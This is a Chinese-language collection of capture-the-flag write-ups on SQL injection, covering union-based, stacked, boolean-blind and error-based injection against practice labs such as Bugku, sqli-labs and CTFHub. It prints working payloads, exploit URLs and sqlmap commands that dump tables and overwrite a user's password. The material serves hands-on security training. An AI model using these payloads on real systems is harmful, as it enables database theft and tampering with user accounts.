SQL注入--题目

联合查询注入:

bugku-这是一个神奇的登录框

手工注入:

SQL注入--题目_第1张图片

 点吧,输入0’发现还是:

输入0" 发现报错:

SQL注入--题目_第2张图片

确定可以注入,判断字段有多少个 0"order by 1,2,3# 发现:

 SQL注入--题目_第3张图片

 

说明有两列。

输入 0" union select database(),2# ,得到库名:

SQL注入--题目_第4张图片

 继续输入 0" union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ # (0" union select group_concat(table_name),2 from information_schema.tables where table_schema=database()# )得到表名:
继续输入 0" union select column_name,2 from information_schema.columns where table_name=‘flag1’ # 得到列名:

SQL注入--题目_第5张图片

继续输入 0" union select flag1,2 from flag1# (爆字段里的内容,中的表明是不加单引号的)得到该列下的值:

 sqlmap:

查看一下源码:SQL注入--题目_第6张图片

 

是post提交,url明显提示是个sql注入,由于post提交,要sql和burp结合起来使用。

首先burp抓包,抓到包后选择存到txt文件中:(随便输入账号密码)

SQL注入--题目_第7张图片

 

我保存到了D:\1.txt

然后打开sqlmap,输入指令:sqlmap.py -r "D:\1.txt" -p admin_name --dbs

解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) --dbs意思是想获取数据库名字

可以看到sqlmap获得了数据库的名字:

应该是这个bugkul1,再继续爆表,命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -p admin_name --tables

解释:-D是表示选择了后面的这个数据库 --tables是想获取表

可以看到爆出了表

应该在flag1这个表里,继续爆列名

命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -p admin_name --columns

解释类似上面 不过加了一个-T 指定表

可以发现爆出了列名

flag1这个列 最后查字段 命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

解释:同上面 --dump是获取字段的命令

(在这过程中可能会让你选择Y或者N 我直接回车的)

可以看到爆出了flag

堆叠注入

Sqlilabs-less38

根据关卡提示,得知 38关 为堆叠注入,页面如下。

SQL注入--题目_第8张图片

 如果堆叠注入的情况下,首先是考虑闭合前面的语句,再执行第二个语句;所以构建payload "?id=1';第二条SQL语句 --+" 或者 "?id=1;第二条SQL语句 --+"

SQL注入--题目_第9张图片

SQL注入--题目_第10张图片

从页面上直观的看当前显示的用户和密码为 “Dumb/Dumb”,姑且猜测当前用户在表中的两个字段 “username”、“password”;

现在尝试一下爆出数据库、表、列名等相关信息。  尝试得到库名 “security”

SQL注入--题目_第11张图片

尝试获取 “security” 数据库下的表名 得到[emails,referers,uagents,users]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)a));%20--+

得到了一个 “users” 表的信息,现在看一下 “users” 表的列名 [id,username,password]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)a));%20--+
构造堆叠注入的payload ?id=1'; update users set password = 'Dumb' where username = 'Dumb'; --+

SQL注入--题目_第12张图片

 这里看到 Dumb 用户的密码被改成了 Dumb001 ,说明构建的堆叠注入的 payload 利用成功

布尔盲注

ctfhub布尔注入

SQL注入--题目_第13张图片

按照题目意思输入1看看

从这里可以知道

不需要打引号 

哦对了,我们先应该判断是否有注入点,利用真假语句来判断id的值是否可以改变sql语句的变化

SQL注入--题目_第14张图片

SQL注入--题目_第15张图片

 通过恒真语句and 1=1和恒假语句and 1=2得知id的值可以改变sql语句的走向,说明这里存在注入点,然后便上网查询一下布尔注入应该要用到哪些函数语句

1 and length(database())=4 

SQL注入--题目_第16张图片

 可以知道数据库名是四个字符的,然后利用substr(x,1,1)分割函数来一个个试是什么字符,利用ascii的值来判断

SQL注入--题目_第17张图片

 可以得知数据库第一个字符的ascii值是大于110的

SQL注入--题目_第18张图片

 

 可以确定第一个字符的ascii值就是115也就是s,后面的就不用去猜了,肯定就是sqli了

 接下来我们利用count函数来判断sqli数据库里有几个表

1 and (select count(table_name) from information_schema.tables where table_schema='sqli' )<3

 可以知道少于3张表,我们就可以联想到news和flag了,方法随便用,可以用concat和floor这种方法来判断,但是都离不开ascii和count来判断 

SQL注入--题目_第19张图片

 得知第一个表的第一个字符ascii值大于109

利用sqlmap来得知数据库有哪些

sqlmap.py -u 登录的地址 -dbs

虽然有点时间,但是还是比我们手动注入的快的 

然后利用sqlmap.py -u 输入地址 -D sqli --tables来获取数据库里面的表

发现两张表flag和news,我们可以直接去看字段以及数值了 

sqlmap.py -u 地址 -D sqli -T flag --columns --dump

 

时间盲注

(这题自己没摸出来,看的网上的wp)主要是脚本问题

CTFHUB SQL注入——时间盲注 附自己写的脚本_ctf 时间盲注_Wuuconix的博客-CSDN博客

求头注入--post,get

自己做的题wp:BUGKU CTF——WEB基础 {GET,POST}_get bugku csdn_lulu001128的博客-CSDN博客

sql注入写马

上传一句话木马

报错注入

Sqlilabs-less5
SQL注入--题目_第20张图片

 先用万能密码试一下:

 SQL注入--题目_第21张图片

 发现报错,可以直接进行报错注入

SQL注入--题目_第22张图片

 这里直接查询出数据库名,进行下一步操作:

SQL注入--题目_第23张图片

 当我们再次用updatexml函数进行报错注入时发现提示The used SELECT statements have a different number of columns。
猜测是因为updatexml的最大长度是32位,所以换一个函数继续进行注入。

SQL注入--题目_第24张图片

宽字节注入

【ctf】sql注入——宽字节注入_ctf 宽字节注入_甜不拉几的博客-CSDN博客

二次注入

【CTF】二次注入原理及实战_失控的菜鸡玩家的博客-CSDN博客

你可能感兴趣的:(作业,sql,mybatis,spring)